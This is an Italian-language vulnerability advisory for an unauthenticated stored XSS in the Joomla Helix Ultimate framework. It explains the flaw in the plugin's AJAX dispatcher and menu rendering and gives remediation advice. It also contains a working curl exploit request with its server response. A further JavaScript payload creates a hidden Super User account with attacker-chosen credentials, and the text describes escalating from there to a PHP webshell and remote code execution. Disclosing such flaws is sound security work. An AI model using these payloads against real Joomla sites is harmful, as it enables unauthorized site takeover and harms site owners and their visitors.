
Unauthenticated Stored XSS in Joomla Helix Ultimate (JoomShaper) <= 2.2.6
Questo è il ritrovamento più significativo in questa cartella di ricerca — CRITICO, completamente confermato end-to-end. A differenza del bug solo di eliminazione in helix_ultimate_delete_poc.md, questo ha un percorso reale e funzionante per la compromissione totale del sito.
Componente: JoomShaper Helix Ultimate Framework (plg_system_helixultimate + template shaper_helixultimate)
Versione testata: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD 2026-07)
Autore: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/helixultimate.php::onAjaxHelixultimate() è un gestore standard di eventi del plugin di Joomla (). Il componente core di Joomla non impone — questa è sempre responsabilità del plugin. Questo gestore esegue un dispacciamento arbitrario di metodi statici:
com_ajaxindex.php?option=com_ajax&plugin=helixultimate&format=json&task=<Class.method>com_ajaxpublic function onAjaxHelixultimate()
{
$task = $input->get('task', '', 'STRING');
$namespace = "HelixUltimate\\Framework\\HttpResponse\\";
$class = "Response";
$classMethod = explode('.', $task);
if (count($classMethod) === 2) { $class = ucfirst($classMethod[0]); $method = $classMethod[1]; }
else { $method = $classMethod[0]; }
$class = $namespace . $class;
// ... class_exists / method_exists checks ...
$response = $class::$method(); // <-- arbitrary no-arg static call, namespace-confined
}
Il namespace è hardcodato (HelixUltimate\Framework\HttpResponse\), quindi questo non è un gadget RCE completamente arbitrario da solo — ma ogni singolo metodo statico pubblico in src/HttpResponse/Response.php diventa chiamabile da chiunque, non autenticato, con zero token CSRF. Nessuno di essi chiama Session::checkToken() o authorise(). Questo è un punto di ingresso completamente diverso e separato dalla classe Request/Platform con restrizione admin trattata nel write-up sull'eliminazione — com_ajax bypassa completamente quella barriera.
Response::saveMegaMenuSettings()public static function saveMegaMenuSettings()
{
$input = Factory::getApplication()->input;
$settings = $input->post->get('settings', [], 'ARRAY'); // attacker-controlled, unsanitized values
$itemId = $input->post->get('id', 0, 'INT');
$menu = new SiteMenu;
$item = $menu->getItem($itemId);
$params = $item->getParams();
$params->set('helixultimatemenulayout', \json_encode($settings));
self::updateMenuItem($itemId, $params); // -> $db->updateObject('#__menu', $data, 'id', true)
}
Questo scrive JSON controllato dall'attaccante direttamente nella colonna params di una voce di menu Joomla pubblica e attiva — nessun login, nessun token CSRF, una singola richiesta HTTP.
overrides/mod_menu/default.php (codice template reale distribuito)Il template shaper_helixultimate distribuito effettivo ha html/mod_menu/default.php come uno shim di una riga:
require HelixUltimate\Framework\Platform\HTMLOverride::loadTemplate();
che si risolve (verificato leggendo HTMLOverride.php) in plugins/system/helixultimate/overrides/mod_menu/default.php — il file che effettivamente renderizza il menu di navigazione principale del sito su ogni pagina, per ogni visitatore:
$layout = \json_decode($itemParams->get('helixultimatemenulayout', '') ?? "");
$helixMenuLayout = new Registry($layout);
$customClass = $helixMenuLayout->get('customclass', '');
...
$class .= ' ' . $customClass;
...
echo '<li class="' . $class . '">'; // <-- zero escaping
customclass — una chiave che controlliamo completamente tramite saveMegaMenuSettings() — viene concatenata direttamente in un attributo HTML senza htmlspecialchars().
shaper_helixultimate + plugin 2.2.6)$ curl -X POST "http://TARGET/index.php?option=com_ajax&plugin=helixultimate&format=json&task=saveMegaMenuSettings" \
--data-urlencode 'settings[customclass]="><script>alert(document.cookie)</script>' \
--data-urlencode "id=101"
{"success":true,"message":null,"messages":null,"data":{"status":true,"data":true}}
Nessun campo token CSRF è stato inviato — nemmeno il banale token raccolto dalla homepage di cui aveva bisogno il bug di eliminazione.
HTML risultante servito a ogni visitatore successivo della homepage:
<li class="item-101 default current active "><script>alert(document.cookie)</script>"><a href="https://github.com/is4yev/cve-2026-57829/blob/main/index.php" aria-current="page">Home</a></li>
Un tag <script> live eseguibile dal browser, iniettato senza autenticazione, renderizzato sulla pagina più visitata del sito (la navigazione principale, presente su ogni pagina tramite la posizione del modulo, non solo sulla homepage).
Questo è esattamente lo scenario che la cartella CVE-2026-48909 stava originariamente inseguendo, raggiunto da un angolo completamente diverso: XSS memorizzato non autenticato + session riding = compromissione dell'account, senza mai dover rubare una password o forzare l'installer.
Qualsiasi amministratore che apra la homepage del sito pubblico nello stesso browser in cui è (o è stato recentemente) connesso a /administrator eseguirà JavaScript dell'attaccante con il suo cookie jar intatto. Payload concettuale (non eseguito contro una sessione admin reale in questo laboratorio — questo laboratorio non ha automazione browser configurata per simulare un admin effettivamente connesso che visita la pagina; la consegna XSS stessa è confermata al 100% sopra, questo è il passo successivo ben compreso e standard):
"><script>
fetch('/administrator/index.php?option=com_users&view=user&layout=edit&id=0', {credentials:'include'})
.then(r => r.text())
.then(html => {
const m = html.match(/name="([a-f0-9]{32})" value="1"/);
if (!m) return;
const token = m[1];
const fd = new FormData();
fd.append('jform[name]', 'sysupdate');
fd.append('jform[username]', 'sysupdate' + Date.now());
fd.append('jform[password]', 'AttackerP@ss123!');
fd.append('jform[password2]', 'AttackerP@ss123!');
fd.append('jform[email]', 'attacker' + Date.now() + '@evil.example');
fd.append('jform[block]', '0');
fd.append('jform[groups][]', '8'); // 8 = Super Users, default Joomla group id
fd.append('task', 'user.save');
fd.append(token, '1');
fetch('/administrator/index.php?option=com_users&task=user.save', {
method: 'POST', credentials: 'include', body: fd
});
});
</script>
Poiché il browser allega qualsiasi cookie di sessione che possiede per l'origine del sito a qualsiasi richiesta same-origin — indipendentemente da quale tab o pagina abbia attivato il JavaScript — questo ha successo finché il cookie di sessione backend dell'admin è valido in quel browser nel momento in cui la pagina frontend viene visualizzata. Questo crea un nuovo account Super User con credenziali scelte dall'attaccante. Da lì: accedi a /administrator, modifica qualsiasi file template (o installane uno nuovo) per aggiungere una webshell PHP → RCE completo.
Perché questo è più forte del bug di eliminazione: nessuna limitazione di scrittura del contenuto si applica qui — questa primitiva scrive dati (JSON in una colonna DB), non file, ma quei dati vengono renderizzati come HTML live su ogni vista pagina, che è esattamente la primitiva di "scrittura" che mancava al bug di eliminazione. Combinato con il pattern standard XSS→session riding, chiude il cerchio che il bug di eliminazione non poteva.
helix_ultimate_xss_detect.pyNon distruttivo-ish: scrive una stringa marcatrice innocua e inerte (nessun <script>, nessun virgolette) in customclass e controlla se viene restituita non escapata nell'HTML della homepage renderizzata. Ripristina/cancella il valore successivamente.
helix_ultimate_xss_poc.pyScrive un payload XSS <script> reale (default: una prova alert() innocua, o un payload personalizzato tramite --payload) nel customclass di una voce di menu scelta, verifica che venga renderizzato non escapato e stampa il payload concettuale ATO/session riding sopra. Utilizzare solo con autorizzazione scritta — questo modifica i dati live del sito (il layout salvato della voce di menu) fino a quando non viene pulito manualmente.
onAjaxHelixultimate() non deve distribuire ciecamente a metodi arbitrari in HttpResponse\Response senza un controllo dei permessi — come minimo richiedere una sessione Joomla valida + Session::checkToken() prima di consentire qualsiasi attività che modifichi lo stato (salvataggio menu, elenco moduli, metodi del builder mega-menu).overrides/mod_menu/default.php (e qualsiasi altro override che legga helixultimatemenulayout/customclass) deve applicare htmlspecialchars() (o HTMLHelper::_('esc.html', ...) di Joomla) a qualsiasi valore estratto dai parametri della voce di menu prima di stamparlo negli attributi HTML — difesa in profondità, poiché i parametri del menu sono tecnicamente pensati per essere dati solo per admin ma sono chiaramente raggiungibili da più di questo qui.Amin İsayev / Proxima Cyber Security — 2026. Solo per uso educativo / test autorizzati.